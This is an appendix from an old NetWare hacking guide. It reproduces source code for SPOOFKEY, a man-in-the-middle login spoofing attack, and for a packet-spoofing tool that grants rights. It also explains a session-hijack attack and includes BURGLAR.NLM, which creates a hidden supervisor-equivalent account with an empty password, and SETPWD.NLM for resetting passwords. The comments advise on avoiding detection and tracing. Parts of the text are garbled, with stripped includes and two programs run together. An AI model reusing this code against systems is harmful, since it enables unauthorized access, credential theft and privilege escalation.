--------------------------------------------------------------------------- Appendix Section - Source Code and Other Documentation A-02. Source code to SPOOFKEY Greg's comments are in the source code file... --------------------------------------------------------------------------- /* SPOOFKEY.C (C) 1996 by Greg Miller (distribute freely) */ /* Here we use a sequence number trick to implement a MITM attack on the Netware bindery mode login protocol. The "trick" allows us to implement the attack on a single machine which resides somewhere in between the attacking station and the server. */ /* This program implements the last step of an attack discovered by David Wagner . Before running this program you will need to (1) get a good word list (try ftp://sable.ox.ac.uk/pub/wordlists), (2) convert the wordlist into a hash list (try http://grendel.ius.indiana.edu/~gmiller/) and (3) edit the SpoofStation[] variable to reflect the station you want to attack. After running the program, the hash will be displayed. Look up this hash in the hash list generated above and you will be able to use the corresponding password to log in as the user you spoofed. The attack spoofs both the user ID and the random value generated by the server when a workstation attempts to log in. This allows an attacker to use a pre-generated hash list to look up possible passwords. Here, I have used a "random value" of FFFFFFFFFFFFFFFF and and ID of FFFFFFFF. */ /* NOTE: You will have to run this on a pretty fast machine to beat the server's responses. It seems pretty simple, but it's not unless the server is carying a pretty heavy load. I've also run into problems where the workstation's requests were lost. That shows this program could use some very heavy optimization. */ /* NOTE: The workstation will attempt two login requests. One is to login without a password, the second is the real login request. Because of this you'll see two hashes printed rather than just one. The second hash is the only one you're interested in. */ /* NOTE: This program will only work on 3.x servers, or on 4.x servers when the workstation logs in in bindery mode. */ #include #include #include #define TRUE -1 #define FALSE 0 //Offset of the IPX packet type in an 802.3 frame #define PACKET_TYPE 19 //Offset of the NCP function code in an 802.3 frame #define FUNCTION_CODE 50 //Offset of the NCP subfunction code in an 802.3 frame #define SUBFUNC_CODE 53 //Offset of the hashed password in the NCP client //request for a login inside an 802.3 frame #define KEY_OFFSET 52 typedef unsigned char BYTE; typedef unsigned int WORD; typedef unsigned long DWORD; int DataRemaining = TRUE; int x; BYTE packet[2000]; BYTE SendPacket[2000]; WORD handle; int packet_received = FALSE; int NotDone = TRUE; /* Change these varialbles to reflect the station you are attacking. You may also want to alter the spoof values for a few reasons: 1. It prevents the use of an automated detection program to detect this attack. 2. It prevents someone else using a packet sniffer from using the same pre-generated word list that you're using. This way, if they want the password, they have to do the work themselves. */ BYTE SpoofStation[6] = {0x00,0x00,0xf4,0xa9,0x95,0x21}; BYTE SpoofID[4] = {0xff,0xff,0xff,0xff}; BYTE SpoofKey[8] = {0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff}; int c; WORD pktlen; WORD Sendpktlen; void Initialize(){ } /*In reality, the functions for the packet driver API should be in a separate file, but they are included here for ease of distribution. */ static void far PacketReceived(){ /*This function is called by the packet driver when a packet is received. If AX=0 when the function is called, the packet driver is asking for a buffer to put the packet in. If AX=1 then the packet has been copied into the buffer. */ _asm{ pop di //Borland C 3.1 pushes DI for some reason. //Remove this line if you compiler doesn't. cmp ax,1 //ax=0 for get buffer or 1 when done jz copy_done mov ax,seg packet mov ES,ax lea DI,packet mov cx,2000 //buffer length retf } copy_done: packet_received = TRUE; pktlen=_CX; _asm{retf} end: } void RegisterWithPKTDRV(){ /*This function registers the "protocol stack" with the packet driver. We give it the address of the function to call when a packet is received in ES:DI, the interface class in AL, and the interface type in BX. DS:SI should point to the type of packets to receive, with the length of the type in CX, however, we'll just receive any type of packet so we leave DS:SI alone and make CX=0. We get a handle back from the INT 60h call in AX, we'll store it for later use. */ _asm { pusha mov bx,0ffffh //Wild card for all interfaces mov dl,0 mov cx,0 //receive any type of packet mov ax, seg PacketReceived mov es,ax lea di, PacketReceived mov ah,02 mov al,01 //class type for 3com 509 int 60h jc err mov handle,ax popa } printf("Registered with packet driver\r\n"); return; err: printf("Error registering stack: %d\r\n",_DH); _asm{popa} } void RelinquishProtocolStack(){ /* Relinqush control of the interface and unhooks the packet received funtion. */ /*Release Type*/ _asm{ pusha mov ah,3 mov bx,handle int 60h jc err } /*Terminate driver for handle*/ _asm{ mov ah,5 mov bx,handle int 60h jc err popa } printf("Stack Relinqushed\r\n"); return; err: printf("Error releasing Stack: %d",_DH); } void EnterPromiscuousMode(){ /*This function puts the board in promiscuous mode by putting the receive mode in CX and the handle in BX. Mode 6 is promiscuous. This causes the interface to receive all packets on the network. The user should note that some network cards send packets out on the network to indicate that they are in promiscuous mode. When this happens, the real MAC address is put on the network for all to see. This could possibly allow someone to identify the attack is occurring, and also where the attack is originating from. If your card does not implement this feature (most don't), then this attack should be carried out undetected. */ _asm{ pusha mov ah,14h mov bx,handle mov cx,6 int 60h jc err popa } printf("Promiscuous mode set\r\n"); return; err: printf("Error entering promiscuous mode: %d\r\n",_DH); _asm{popa} } void printhex(BYTE d){ /*Ad Hock mechanism for printing HEX dump. Yes, there are much better ways to do it. */ BYTE temp; _asm{ mov al,d shr al,1 shr al,1 shr al,1 shr al,1 and al,0fh add al,90h daa adc al,40h daa } temp=_AL; printf("%c",temp); _asm{ mov al,d and al,0fh add al,90h daa adc al,40h daa } temp=_AL; printf("%c ",temp); } void SendPack(){ /*Puts an ethernet frame on the network. The premble, etc are not included in the data, but the hardware address is. This allows us to spoof our address at the hardware level. Although, NetWare doesn't care what the hardware address is, implementing the attack in this way allows us to avoid the attack to be traced back to a given machine, should the attack be detected. */ _asm{ pusha mov ax,seg SendPacket mov ds,ax lea si,SendPacket mov cx,Sendpktlen mov ah,04 int 60h jc err popa } printf("Sending:\r\n"); for(c=0;c #include #define TRUE -1 #define FALSE 0 #define PACKET_TYPE 19 #define FUNCTION_CODE 50 #define SUBFUNC_CODE 53 #define KEY_OFFSET 54 typedef unsigned char BYTE; typedef unsigned int WORD; typedef unsigned long DWORD; BYTE username[20] = "GUEST"; //user to gain rights BYTE membername[20] = "GMILLER"; //user rights to gain BYTE server_network[4] = {0,0,0,15}; //server INTERNAL net BYTE server_addr[6] = {0x00,0xa0,0x24,0x18,0x34,0x05}; //closest router addr BYTE my_network[4] = {0xd6,0xe2,0x5f,0xbe}; //0000 won't work BYTE my_addr[6] = {0x00,0x60,0x8c,0xc9,0x74,0x83}; //my address BYTE SpoofStation[6] = {0x00,0x00,0xf4,0xa9,0x95,0x21}; //addr to spoof BYTE my_seq_no = 1; BYTE my_con_no; BYTE login_key[8]; int DataRemaining = TRUE; int x; BYTE packet[2000]; BYTE SendPacket[2000]; BYTE to_server[100]; WORD handle; int packet_received = FALSE; int NotDone = TRUE; int c; WORD pktlen; WORD Sendpktlen; WORD to_server_len; void Initialize(){ } static void far PacketReceived(){ /*This function is called by the packet driver when a packet is received. If AX=0 when the function is called, the packet driver is asking for a buffer to put the packet in. If AX=1 then the packet has been copied into the buffer. */ _asm{ pop di //Borland C 3.1 pushes DI for some reason. //Remove this line if your compiler doesn't. cmp ax,1 //ax=0 for get buffer or 1 when done jz copy_done mov ax,seg packet mov ES,ax lea DI,packet mov cx,2000 //buffer length retf } copy_done: packet_received = TRUE; pktlen=_CX; _asm{retf} end: } void RegisterWithPKTDRV(){ /*This function registers the "protocol stack" with the packet driver. We give it the address of the function to call when a packet is received in ES:DI, the interface class in AL, and the interface type in BX. DS:SI should point to the type of packets to receive, with the length of the type in CX, however, we'll just receive any type of packet so we leave DS:SI alone and make CX=0. We get a handle back from the INT 60h call in AX, we'll store it for later use. */ _asm { pusha mov bx,0ffffh //Wild card for all interfaces mov dl,0 mov cx,0 //receive any type of packet mov ax, seg PacketReceived mov es,ax lea di, PacketReceived mov ah,02 mov al,01 //class type for 3com 509 int 60h jc err mov handle,ax popa } printf("Registered with packet driver\r\n"); return; err: printf("Error registering stack: %d\r\n",_DH); _asm{popa} } void RelinquishProtocolStack(){ /* Relinqush control of the interface */ /*Release Type*/ _asm{ pusha mov ah,3 mov bx,handle int 60h jc err } /*Terminate driver for handle*/ _asm{ mov ah,5 mov bx,handle int 60h jc err popa } printf("Stack Relinqushed\r\n"); return; err: printf("Error releasing Stack: %d",_DH); } void SetReceiveMode(WORD mode){ /*This function puts the board in the specified mode by putting the receive mode in CX and the handle in BX. Mode 6 is promiscuous and mode 2 is normal. */ _asm{ pusha mov ah,14h mov bx,handle mov cx,mode int 60h jc err popa } printf("Mode set to %d\r\n",mode); return; err: printf("Error entering promiscuous mode: %d\r\n",_DH); _asm{popa} } void printhex(BYTE d){ BYTE temp; _asm{ mov al,d shr al,1 shr al,1 shr al,1 shr al,1 and al,0fh add al,90h daa adc al,40h daa } temp=_AL; printf("%c",temp); _asm{ mov al,d and al,0fh add al,90h daa adc al,40h daa } temp=_AL; printf("%c ",temp); } void SendPack(){ _asm{ pusha mov ax,seg SendPacket mov ds,ax lea si,SendPacket mov cx,Sendpktlen mov ah,04 int 60h jc err popa } // printf("Sending:\r\n"); // for(c=0;c <------------------------------------------------ Login Key Request User ID ------------------------------------------------> <------------------------------------------------ UID of client Compute X=hash(UID,password) Compute X'=hash(UID,password) Compute Y=hash(X,login key) Compute Y'=hash(X,login key) Request Authentication ------------------------------------------------> If Y=Y', Access is Granted Comput Z=hash(X,c) Compute Z=hash(X,c) When a user Alice logs in, an attacker Bob can interrupt this protocol sequence and gain access as Alice without knowing her password. In order for the procedure to work, Bob must be on a network where he can observe the traffic between Alice and the server, and Bob must be able to respond to Alice's requests faster than the server. First Bob sends a request to the server to login, and the server sends Bob a login key R". Then Alice requests a login key from the server, Bob sees the request and spoofs a reply as the server which sends Alice R" as her login key. The server receives Alice's request and sends her R as her login key, when Alice receives R she will discard it as a duplicate. Alice requests her UID from the server, and the server responds with her UID. Alice computes X=hash(UID,password) and Y=hash(X,R") and sends the result to the server. The server computes Y'=hash(X,R), since Y' is not equal to Y, Alice is denied access. Meanwhile, Bob saw Alice's Y submitted to the server, he retrieves this value from the network and sends it to the server for authentication as Alice. The server computes Y"=hash(X,R"), sice Y = Y" Bob is granted access as Alice. Bob requests not to sign packets, if the server does not require all clients to sign packets, then Bob is allowed to masqurade as Alice. Alice Bob Server Requests Login Key R" ----> <---- Sends R" to Bob Requests Login Key R -----------------------------------> <---- Sends R" to Alice <----------------------------------- Sends R to Alice Receives R" first Discards R as a duplicate Requests UID for Alice -----------------------------------> <----------------------------------- Sends UID of Alice Computes X=hash(UID,password) Computes Y=hash(X,R") Sends Y to the server -----------------------------------> Computes Y'=hash(X,R) Sees Y and retrieves it. Y != Y', access is denied Sends Y for ---> Computes authentication Y"=hash(X,R") Y"=Y, access is granted Refuses to sign packets If all clients are not REQUIRED to sign packets, access is granted. There may be a second attacker, Joe, waiting for Alice to log in without using packet signatures. As a result, Joe can highjack Bob's connection as Alice. --------------------------------------------------------------------------- --------------------------------------------------------------------------- Appendix Section - Source Code and Other Documentation A-05. Source code for SETPWD.NLM and BURGLAR.NLM Included here for the curious, these sources along with their Makefiles can be found in the "official" ZIP distributions. Note that only Watcom's compiler does the linking properly on NLMs, so you'll need it to compile things properly (assuming your modifying things). The ZIPs contain pre-compiled versions of the code listed below. --------------------------------------------------------------------------- /* SETPWD 1.0 - Sets a Novell User Password Copyright (C) 1992 P.R.Lees This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 1, or any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. P.R.Lees@ais.salford.ac.uk Network Systems Programmer University of Salford The Crescent Salford M5 4WT */ #include #include #include #include #include #include #include main(int argc,char *argv[]) { int err; printf("[SetPwd.nlm (c) 1992 P.R.Lees]\n"); if (argc!=3) { printf("Usage:\n\tLoad SetPwd \n"); exit(2); } err=ChangeBinderyObjectPassword(argv[1],OT_USER,"",strupr(argv[2])); if (err) { switch(err) { case 150:printf("Server out of Memory\n");break; case 215:printf("Password is not unique\n");break; case 240:printf("Wildcard not allowed\n");break; case 251:printf("No such Property\n");break; case 252:printf("No such Object\n");break; case 254:printf("Server bindery locked\n");break; case 255:printf("No such object or Bad Password\n");break; default:printf("Netware Error 0x%X (%d)\n",err,err);break; } exit(err); } printf("Password of %s has been set to %s\n",strupr(argv[1]),strupr(argv[2])); exit(0); } --------------------------------------------------------------------------- /* BURGLAR - To recover the supervisor account of netware 386 (c) 1990 Cyco Automation, created by Bart Mellink. (My first NLM) */ #include #include #include #include #include #include #include #include #include #include main( int argc, char *argv[] ) { long task; char *name; printf("BURGLAR - Create supervisor equivalent user account\n" ); printf(" (c) Cyco Automation (bm) 1990\n"); task=SetCurrentTask(-1L); SetCurrentConnection(0); /* set connection 0 -> superuser */ SetCtrlCharCheckMode(0); /* No abort on ctrl-c */ name=argv[1]; if (argc>1) { /* First create an user object in the bindery */ if (CreateBinderyObject(name,OT_USER,BF_STATIC,0x31)==0) printf("New user %s created\n",name); else printf("User %s allready exists\n",name); /* User object must have an equivalent property */ CreateProperty(name,OT_USER,"SECURITY_EQUALS",BF_STATIC|BF_SET,0x32); /* Add supervisor equivalent to equivalence property */ if (AddBinderyObjectToSet(name,OT_USER,"SECURITY_EQUALS","SUPERVISOR",OT_USER)==0) printf("User made supervisor equivalent\n"); else printf("User was allready supervisor equivalent\n"); /* Create password property and make empty string */ if (ChangeBinderyObjectPassword(name,OT_USER,"","")==0) printf("Password removed from user\n"); else { /* On error check if we had allready empty password */ if (VerifyBinderyObjectPassword(name,OT_USER,"")==0) printf("Password was allready removed from user\n"); else printf("Could not remove password from user\n"); } } else { printf(" Error: Username missing from commandline\n"); } ReturnBlockOfTasks(&task,1L); ReturnConnection( GetCurrentConnection() ); return 0; }